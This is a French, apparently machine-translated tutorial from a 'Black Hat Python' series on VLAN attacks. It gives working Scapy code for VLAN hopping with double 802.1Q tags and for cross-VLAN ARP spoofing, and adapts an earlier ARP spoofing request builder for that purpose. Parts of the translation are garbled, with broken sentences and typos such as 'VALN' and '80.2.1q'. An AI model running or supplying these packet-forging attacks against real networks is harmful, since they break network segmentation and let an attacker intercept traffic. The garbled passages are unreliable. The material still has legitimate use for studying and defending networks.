VLAN (Virtual Local Area Network) est un réseau virtuel construit sur la base de la technologie d'interaction Ethernet. Il peut non seulement diviser le même réseau physique en plusieurs VALN, mais également franchir les barrières physiques du réseau et diviser les utilisateurs de différents sous-réseaux en un seul. VLAN. La figure 2 est un exemple de division VLAN.
Figure 2
Il existe de nombreuses façons de mettre en œuvre le VLAN. Il existe généralement deux types de division VLAN basées sur l'équipement de commutation :
l Division des ports basée sur un commutateur
l Basé sur le protocole IEEE 802.1q, format de trame Ethernet étendu
VLAN basé sur la couche 2 Dans la technologie, il existe le concept de Trunking, qui est utilisé pour connecter différents commutateurs afin de garantir que les membres du même VLAN établi sur plusieurs commutateurs peuvent communiquer entre eux. Les ports utilisés pour l'interconnexion entre les commutateurs sont appelés ports Trunk. En plus du 80.2.1q, Cisco possède son propre protocole Trunk appelé ISL.
Figure 3
La figure 3 est un paquet de données 802.1q, qui n'est pas essentiellement différent d'une trame Ethernet ordinaire. ajoutez une balise VLAN. L'identifiant de VLAN dans la partie rouge identifie à quel VLAN appartient un paquet de données, garantissant ainsi que la plage de diffusion de données ne s'étend pas sur les VLAN.
Réfléchissons-y brièvement maintenant. Si nous voulons communiquer entre VLAN, avons-nous simplement besoin de modifier l'identifiant dans le paquet de données ?
3.4.1 Saut de VLAN
Sur la base de l'analyse ci-dessus, nous considérons un scénario simple : cross-VLAN ping, envoie une demande ping d'un hôte dans Vlan1 à un hôte dans Vlan2.
Avant un codage spécifique, nous devons encore résoudre le problème de construction des paquets VLAN. Dans Scapy, nous utilisons la classe Dot1Q pour construire la partie Tag dans la figure 3. Comme le montre la figure 4.
Figure 4
Nous pouvons maintenant écrire une requête ping inter-VLAN.
#!/usr/bin/python from scapy.all import * packet = Ether(dst="c0:d3:de:ad:be:ef") / \ Dot1Q(vlan=1) / \ Dot1Q(vlan=2) / \ IP(dst="192.168.13.3") / \ ICMP() sendp(packet)
Dans le code ci-dessus, nous spécifions l'adresse MAC et IP de l'hôte cible, et ajoutons deux identifiants VLAN. Le premier est. envoyé Le VLAN où se trouve l'hôte de données, et le second est le VLAN où se trouve l'hôte cible. Le commutateur supprimera le premier identifiant et lorsqu’il lira le deuxième identifiant, il transmettra le paquet à l’hôte cible.
3.4.2 Usurpation d'ARP inter-VLAN
Section 3.1, 3.2 et 3.3 Nous discutons tous de la question de l'usurpation d'identité ARP. Étant donné que le VLAN limite le domaine de diffusion, notre code précédent ne peut pas effectuer d'usurpation d'identité ARP sur les VLAN. Cependant, il est très simple de résoudre ce problème. Il suffit d'insérer l'identifiant du VLAN dans les données d'usurpation d'identité ARP que nous avons construites précédemment. Le code suivant est le code que nous avons utilisé pour construire le paquet de requête ARP dans la section 3.1.
def build_req(): if options.target is None: pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) elif options.target: target_mac = getmacbyip(options.target) if target_mac is None: print "[-] Error: Could not resolve targets MAC address" sys.exit(1) pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) return pkt
Dans la partie de construction du paquet de données, nous insérons l'identifiant du VLAN :
pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
De cette façon, l'usurpation d'identité ARP inter-VLAN peut être réalisée.
3.4.3 Résumé
Cette section explique principalement comment construire des paquets de données pour usurper le VLAN afin d'obtenir des -À des fins de communication de données VLAN et d'usurpation d'identité ARP. Il convient de noter que la méthode présentée dans cet article concerne principalement le protocole 802.1Q et n'a aucun effet sur les VLAN physiquement isolés par les ports.
Ce qui précède est l'explication détaillée de la programmation Python Black Hat 3.4 sur les VLAN présentée par l'éditeur. J'espère que cela vous sera utile. Si vous avez des questions, veuillez me laisser un message et le. l'éditeur répondra à temps. Je voudrais également vous remercier tous pour votre soutien au site Web PHP chinois !
Pour plus d'articles sur la programmation Python Black Hat 3.4 cross-VLAN, veuillez faire attention au site Web PHP chinois !